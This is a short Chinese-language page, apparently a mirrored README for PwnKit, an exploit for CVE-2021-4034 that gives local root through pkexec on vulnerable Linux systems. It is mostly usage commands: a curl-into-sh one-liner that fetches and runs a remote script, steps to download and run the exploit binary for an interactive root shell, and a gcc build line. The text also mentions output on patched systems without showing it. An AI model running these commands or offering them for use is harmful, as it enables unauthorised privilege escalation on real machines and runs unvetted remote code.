针对 CVE-2021-4034 的独立漏洞利用 - Pkexec 本地权限提升
针对 CVE-2021-4034 的独立漏洞利用 - Pkexec 本地权限提升
在基于 Ubuntu、Debian、Fedora 和 CentOS 的易受攻击的 Linux 分发版上,应能够立即运行。
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x ./PwnKit
./PwnKit # interactive shell
./PwnKit 'id' # single command对已修补的版本运行漏洞将产生以下输出。
gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC暂无开放 Issues,或尚未同步最近议题。